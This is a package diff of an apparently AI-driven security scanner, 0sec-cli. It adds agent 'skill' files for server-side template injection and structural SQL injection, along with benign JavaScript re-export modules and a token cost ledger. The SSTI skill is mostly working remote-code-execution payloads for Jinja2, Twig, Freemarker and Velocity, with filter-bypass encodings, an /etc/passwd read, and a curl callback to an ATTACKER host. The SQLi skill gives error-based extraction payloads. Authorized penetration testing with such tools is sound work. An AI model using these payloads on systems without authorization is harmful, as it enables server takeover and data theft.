0sec-cli 0.15.0 → 0.18.0

package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml

@@ -0,0 +1,112 @@
+id: ssti-exploitation
+name: "SSTI Detection and RCE Escalation"
+description: "Server-Side Template Injection detection, engine identification, and RCE escalation across Jinja2, Twig, Freemarker, Velocity, Pebble, and Mako."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+tags:
+  - ssti
+  - template-injection
+  - rce
+  - jinja2
+  - twig
+  - freemarker
+  - mako
+  - pebble
+triggers:
+  - "\\{\\{.*\\}\\}"
+  - "\\$\\{.*\\}"
+  - "<%=.*%>"
+  - "jinja"
+  - "twig"
+  - "freemarker"
+  - "thymeleaf"
+  - "mako"
+  - "velocity"
+  - "pebble"
+  - "template.*engine"
+  - "render.*template"
+  - "\\b49\\b"
+estimated_tokens: 800
+content: |
+  ## SSTI Detection and RCE Escalation
+
+  ### Phase 1: Polyglot Detection Probes
+  Send these probes to every user-controlled input that might reach a template:
+  ```
+  {{7*7}}         → 49 = Jinja2, Twig, or Nunjucks
+  ${7*7}          → 49 = Freemarker, Velocity, Mako, Thymeleaf
+  <%= 7*7 %>      → 49 = ERB (Ruby), EJS (JS)
+  #{7*7}          → 49 = Ruby (Slim/Haml), Pebble
+  #set($x=7*7)${x} → 49 = Velocity
+  ${T(java.lang.Math).random()} → float = Spring Expression Language (SpEL)
+  ```
+  If the output shows `49` or similar computed result, SSTI is confirmed.
+
+  ### Phase 2: Engine Fingerprinting
+  Narrow down the engine with type-specific probes:
+  - **Jinja2**: `{{config}}` returns Flask config dict, `{{self.__class__}}` works
+  - **Twig**: `{{_self.env.getFilter('id')}}` or `{{dump()}}` works; `{{config}}` does not
+  - **Freemarker**: `${.version}` returns engine version, `<#assign x=1>` works
+  - **Velocity**: `#set($a=1)$a` renders `1`, `$class.forName()` available
+  - **Mako**: `${self.module.__loader__}` works, Python syntax accepted
+  - **Pebble**: `{% set x = 7*7 %}{{x}}` renders `49`, `beans` keyword available
+  - **Thymeleaf**: `__${T(java.lang.Runtime).getRuntime().exec('id')}__` in URLs
+
+  ### Phase 3: Jinja2 RCE Escalation
+  Primary chain (most reliable):
+  ```
+  {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
+  ```
+  Alternative chains when `config` is blocked:
+  ```
+  {{''.__class__.__mro__[1].__subclasses__()}}
+  ```
+  Find `subprocess.Popen` (usually index ~250-400), then:
+  ```
+  {{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()}}
+  ```
+  Bypass `_` filter:
+  ```
+  {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
+  ```
+
+  ### Phase 4: Twig RCE Escalation
+  Twig 1.x (legacy, direct exec):
+  ```
+  {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
+  ```
+  Twig 3.x (system via filter):
+  ```
+  {{['id']|filter('system')}}
+  ```
+  File read: `{{'/etc/passwd'|file_excerpt(0,50)}}`
+
+  ### Phase 5: Freemarker RCE
+  ```
+  <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
+  ```
+  Alternative: `${object.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(object.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}`
+
+  ### Phase 6: Velocity RCE
+  ```
+  #set($rt=$class.forName("java.lang.Runtime"))
+  #set($m=$rt.getMethod("getRuntime"))
+  #set($r=$m.invoke(null))
+  $r.exec("id")
+  ```
+
+  ### Phase 7: Blind SSTI Confirmation
+  When output is not reflected:
+  - **Time-based**: `{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}}` — 5s delay confirms
+  - **OOB callback**: `{{config.__class__.__init__.__globals__['os'].popen('curl http://ATTACKER:9000/ssti-confirmed').read()}}`
+  - **Error-based**: force a TypeError by accessing invalid index — error message may leak data
+  - **File write**: `{{config.__class__.__init__.__globals__['os'].popen('id > /tmp/ssti-proof.txt').read()}}` then read via LFI
+
+  ### Phase 8: Filter/WAF Bypass
+  - Replace `{{` with `{%print(...)%}` (Jinja2)
+  - Use `|attr()` filter to avoid dot notation: `''|attr('__class__')`
+  - Hex-encode underscores: `\x5f` instead of `_`
+  - Use `request.args` or `request.values` to pass payload components as URL params
+  - URL-encode entire payload in GET parameters

package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml

@@ -0,0 +1,91 @@
+id: structural-sqli
+name: "Structural / JSON-Key SQL Injection"
+description: "SQL injection where the injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY, SELECT column, dynamic WHERE) — not a parameterised value. Driven by an error-message feedback loop that refines payloads over blind iterations."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+tags:
+  - sqli
+  - structural-sqli
+  - json-key
+  - blind-sqli
+  - order-by
+  - error-based
+  - database
+triggers:
+  - "ORDER\\s+BY"
+  - "GROUP\\s+BY"
+  - "Unknown column '[^']*' in"
+  - "column \"[^\"]*\" does not exist"
+  - "Invalid column name"
+  - "no such column"
+  - "sort(_?by|Field|_?field|_?order|_?column)"
+  - "order(_?by|Field|_?field|_?column|_?dir)"
+  - "\"(sort|order|column|field|groupBy|orderBy)\"\\s*:"
+  - "near \"[^\"]*\": syntax error"
+  - "unrecognized token"
+estimated_tokens: 700
+content: |
+  ## Structural / JSON-Key SQL Injection
+
+  Most SQLi tooling (ZAP, commercial DAST) fuzzes JSON **values**. Values are
+  usually parameterised, so they find nothing. The high-value miss is when the
+  backend concatenates a JSON **key / field name** into SQL — these are almost
+  never parameterised because you can't bind an identifier:
+
+  - `ORDER BY ${key}` / `GROUP BY ${key}` (sort/pagination params)
+  - `SELECT ${key} FROM ...` (caller-chosen projection / column allow-list bug)
+  - dynamic `WHERE ${key} = ?` filter builders
+  - `{"sort": "name", "dir": "asc"}` → `ORDER BY name asc`
+
+  This is the "structural" vector. The surface is the **key**, not the value.
+
+  ### Step 1: Find key-driven SQL surfaces
+  Look for request bodies / params whose KEYS or key-values name columns:
+  `sort`, `sort_by`, `sortField`, `order`, `order_by`, `orderBy`, `column`,
+  `field`, `group_by`, `select`, `columns[]`, `filter[<key>]`. GraphQL/JSON
+  APIs with arbitrary filter objects are prime. The tell in error output:
+  `Unknown column '...'`, `column "..." does not exist`, `Invalid column name`,
+  `no such column` — the server tried your key AS an identifier.
+
+  ### Step 2: Drive the blind error-iteration loop
+  This is blind (no reflected data), so confirm via a differential error loop —
+  exactly what the `structural-sqli` probe module automates:
+
+  1. **Break:** inject a key with a trailing quote: `name'`. A statement like
+     `SELECT name' FROM ...` is now unbalanced. A DB error confirms the key
+     reaches the parser.
+  2. **Fingerprint:** read the error to pin the dialect:
+     - MySQL/MariaDB: "You have an error in your SQL syntax", "Unknown column"
+     - PostgreSQL: "unterminated quoted string at or near", PSQLException
+     - MSSQL: "Unclosed quotation mark", "Incorrect syntax near"
+     - Oracle: `ORA-NNNNN`, "quoted string not properly terminated"
+     - SQLite: "unrecognized token", "no such column"
+  3. **Balance (refine):** re-close the quote and comment out the tail using the
+     DISCOVERED dialect's comment syntax — MySQL needs `-- ` (trailing space),
+     others accept `--`: `name'-- -`. If this now parses cleanly (no error)
+     while the bare `name'` errored, the key is being parsed as SQL → confirmed.
+  4. **Iterate:** if the balanced close still errors, the dialect guess or
+     close syntax was wrong — refine and retry within budget.
+
+  ### Step 3: Prove impact (minimal, verification-oriented)
+  Once structural injection is confirmed on a key:
+  - `ORDER BY` boolean oracle: `...,(CASE WHEN (1=1) THEN name ELSE id END)` —
+    flips row order on a true/false condition without quotes.
+  - Error-based extraction (MySQL): `ORDER BY extractvalue(1,concat(0x7e,version()))`.
+  - Postgres: `ORDER BY 1=cast(version() as int)` surfaces the version in the
+    cast error.
+  Extract the **minimum** non-sensitive proof (DB version, `current_user`, one
+  `information_schema` row). Do NOT dump data.
+
+  ### Step 4: Emit the finding with the iteration trail
+  Save the finding with the ordered probe trail (each payload key → response
+  verdict → dialect), the confirming differential (broken errored, balanced did
+  not), and the dialect. Assume false-positive until the differential holds.
+
+  ### Why scanners miss this
+  Identifier-position injection has no quote/value to fuzz and no reflected
+  output — value-oriented scanners skip it. The key insight: keys naming SQL
+  identifiers are concatenated, and the error-message loop turns a blind
+  identifier surface into a confirmable one.

package/chunks/appsec-catalog-CBWHGTEL.js

@@ -0,0 +1,24 @@
+#!/usr/bin/env node
+import { createRequire as __0secCreateRequire } from "node:module";
+const require = __0secCreateRequire(import.meta.url);
+import {
+  activeAppsecLensRegistryPath,
+  appsecArchetypeDigest,
+  appsecArchetypeToFinderLens,
+  appsecArchetypesPath,
+  appsecLensLedgerEntryDigest,
+  appsecUserArchetypesPath,
+  loadAppsecArchetypes,
+  loadAppsecFinderLenses
+} from "./chunk-QI233I24.js";
+import "./chunk-IR537GON.js";
+export {
+  activeAppsecLensRegistryPath,
+  appsecArchetypeDigest,
+  appsecArchetypeToFinderLens,
+  appsecArchetypesPath,
+  appsecLensLedgerEntryDigest,
+  appsecUserArchetypesPath,
+  loadAppsecArchetypes,
+  loadAppsecFinderLenses
+};

package/chunks/artifact-scraper-HQ7HLP6V.js

@@ -0,0 +1,34 @@
+#!/usr/bin/env node
+import { createRequire as __0secCreateRequire } from "node:module";
+const require = __0secCreateRequire(import.meta.url);
+import {
+  classifyReferences,
+  findCveArtifacts,
+  findRedHatTrackerUrls,
+  findUbuntuTrackerUrls,
+  normaliseCveId,
+  parseGhsaResponse,
+  parseNvdResponse,
+  parseOsvResponse,
+  parseRedHatTracker,
+  parseUbuntuTracker,
+  scoreCodeCandidate,
+  scoreRepoCandidate
+} from "./chunk-SVJEDVYK.js";
+import "./chunk-6L26OBWI.js";
+import "./chunk-YLMN3N25.js";
+import "./chunk-IR537GON.js";
+export {
+  classifyReferences,
+  findCveArtifacts,
+  findRedHatTrackerUrls,
+  findUbuntuTrackerUrls,
+  normaliseCveId,
+  parseGhsaResponse,
+  parseNvdResponse,
+  parseOsvResponse,
+  parseRedHatTracker,
+  parseUbuntuTracker,
+  scoreCodeCandidate,
+  scoreRepoCandidate
+};

package/chunks/assumption-mining-5SNIVVDN.js

@@ -0,0 +1,79 @@
+#!/usr/bin/env node
+import { createRequire as __0secCreateRequire } from "node:module";
+const require = __0secCreateRequire(import.meta.url);
+import {
+  ASSUMPTION_MODEL_VERSION,
+  assumptionsToHuntPlan,
+  buildFocusedCandidates,
+  buildFunctionBodyIndex,
+  computeEstablisherSets,
+  computeEstablisherWrappers,
+  crossCheckAssumptions,
+  dualViewSeamDecision,
+  heldLockIdsAt,
+  isCrossApiAssumption,
+  isMechanizableEstablisher,
+  loadAssumptionModel,
+  mineAssumptions,
+  normalizeAssumptions,
+  objectFieldAccesses,
+  objectTypeToken,
+  runAssumptionHunt,
+  scanDualViewContexts,
+  scanViolatingContexts,
+  scoreDualViewWeaponizability,
+  storeAssumptionModel,
+  subjectSelfEnforces
+} from "./chunk-JQHOLLTD.js";
+import "./chunk-3KPWWJCI.js";
+import {
+  composeGate,
+  makeSkepticVerifier
+} from "./chunk-BFR2CDV5.js";
+import "./chunk-RJWOYEOG.js";
+import "./chunk-BZNEY2ZS.js";
+import "./chunk-YYRBQVFE.js";
+import "./chunk-3MOLBTLS.js";
+import "./chunk-P6WKNFWX.js";
+import "./chunk-UCYRA73C.js";
+import "./chunk-LP3HHYQU.js";
+import "./chunk-KLTNTE2Z.js";
+import "./chunk-72CISA2D.js";
+import "./chunk-RRMJC3ZE.js";
+import "./chunk-H2FFLZNK.js";
+import "./chunk-WEBMRWEG.js";
+import "./chunk-57ZENEX2.js";
+import "./chunk-N7BOUYEV.js";
+import "./chunk-UR4ELX2Y.js";
+import "./chunk-ATATQACO.js";
+import "./chunk-ADOLI6DT.js";
+import "./chunk-6L26OBWI.js";
+import "./chunk-YLMN3N25.js";
+import "./chunk-DW5UWPFY.js";
+import "./chunk-IR537GON.js";
+export {
+  ASSUMPTION_MODEL_VERSION,
+  assumptionsToHuntPlan,
+  buildFocusedCandidates,
+  buildFunctionBodyIndex,
+  composeGate,
+  computeEstablisherSets,
+  computeEstablisherWrappers,
+  crossCheckAssumptions,
+  dualViewSeamDecision,
+  heldLockIdsAt,
+  isCrossApiAssumption,
+  isMechanizableEstablisher,
+  loadAssumptionModel,
+  makeSkepticVerifier,
+  mineAssumptions,
+  normalizeAssumptions,
+  objectFieldAccesses,
+  objectTypeToken,
+  runAssumptionHunt,
+  scanDualViewContexts,
+  scanViolatingContexts,
+  scoreDualViewWeaponizability,
+  storeAssumptionModel,
+  subjectSelfEnforces
+};

package/chunks/chunk-242TMK6G.js

@@ -0,0 +1,110 @@
+#!/usr/bin/env node
+import { createRequire as __0secCreateRequire } from "node:module";
+const require = __0secCreateRequire(import.meta.url);
+import {
+  estimateCost,
+  modelProvider,
+  splitCost
+} from "./chunk-6L26OBWI.js";
+
+// packages/core/dist/agent/cost-ledger.js
+var ScanCostLedger = class {
+  inputTokens = 0;
+  outputTokens = 0;
+  cachedInputTokens = 0;
+  perModel = /* @__PURE__ */ new Map();
+  /**
+   * Fold one turn's token usage into the cumulative total. `model` (the
+   * session's pricing model) keys the per-model buckets the cost_breakdown
+   * is derived from; sessions without a model pick land in "unknown".
+   */
+  add(usage, model) {
+    this.inputTokens += usage.inputTokens;
+    this.outputTokens += usage.outputTokens;
+    this.cachedInputTokens += usage.cachedInputTokens ?? 0;
+    const key = model ?? "unknown";
+    const bucket = this.perModel.get(key) ?? { inputTokens: 0, outputTokens: 0, cachedInputTokens: 0 };
+    bucket.inputTokens += usage.inputTokens;
+    bucket.outputTokens += usage.outputTokens;
+    bucket.cachedInputTokens += usage.cachedInputTokens ?? 0;
+    this.perModel.set(key, bucket);
+  }
+  /** Cumulative estimated cost (USD) across every contributing session. */
+  costUsd(model) {
+    return estimateCost({
+      inputTokens: this.inputTokens,
+      outputTokens: this.outputTokens,
+      cachedInputTokens: this.cachedInputTokens
+    }, model);
+  }
+  /** Exact cumulative spend derived from the per-model buckets. */
+  totalCostUsd() {
+    return this.costBreakdown()?.costUsd ?? 0;
+  }
+  /** Cumulative usage for the final cloud cost_update event. */
+  tokenUsage() {
+    return {
+      inputTokens: this.inputTokens,
+      outputTokens: this.outputTokens,
+      cachedInputTokens: this.cachedInputTokens
+    };
+  }
+  /**
+   * The model every contributing session used, when they all agree (and it
+   * is a real model id, not the "unknown" bucket). Undefined for multi-model
+   * runs and for runs whose sessions never named one — the caller then
+   * leaves the model field to its own resolution.
+   */
+  soleModel() {
+    if (this.perModel.size !== 1)
+      return void 0;
+    const [key] = this.perModel.keys();
+    return key === "unknown" ? void 0 : key;
+  }
+  /**
+   * Aggregate the recorded usage into the cloud's per-(provider, model)
+   * cost_breakdown shape — the same aggregation agentic-scanner's
+   * emitScanCompleted applies to its per-stage tally, sourced here from the
+   * true cross-session cumulative. Zero-usage buckets are skipped so the
+   * breakdown stays honest. Returns null when nothing was recorded at all,
+   * so callers omit cost_usd / cost_breakdown rather than emit a
+   * misleading $0.
+   */
+  costBreakdown() {
+    const acc = /* @__PURE__ */ new Map();
+    for (const [model, usage] of this.perModel) {
+      if (usage.inputTokens === 0 && usage.outputTokens === 0 && usage.cachedInputTokens === 0) {
+        continue;
+      }
+      const priced = model === "unknown" ? void 0 : model;
+      const provider = modelProvider(priced);
+      const key = `${provider}${model}`;
+      const split = splitCost(usage, priced);
+      const existing = acc.get(key);
+      if (existing) {
+        existing.cost_in += split.cost_in;
+        existing.cost_out += split.cost_out;
+        if (split.cost_cache_read !== void 0) {
+          existing.cost_cache_read = (existing.cost_cache_read ?? 0) + split.cost_cache_read;
+        }
+      } else {
+        acc.set(key, {
+          provider,
+          model,
+          cost_in: split.cost_in,
+          cost_out: split.cost_out,
+          ...split.cost_cache_read !== void 0 ? { cost_cache_read: split.cost_cache_read } : {}
+        });
+      }
+    }
+    if (acc.size === 0)
+      return null;
+    const breakdown = Array.from(acc.values());
+    const costUsd = breakdown.reduce((sum, e) => sum + e.cost_in + e.cost_out + (e.cost_cache_read ?? 0), 0);
+    return { costUsd, breakdown };
+  }
+};
+
+export {
+  ScanCostLedger
+};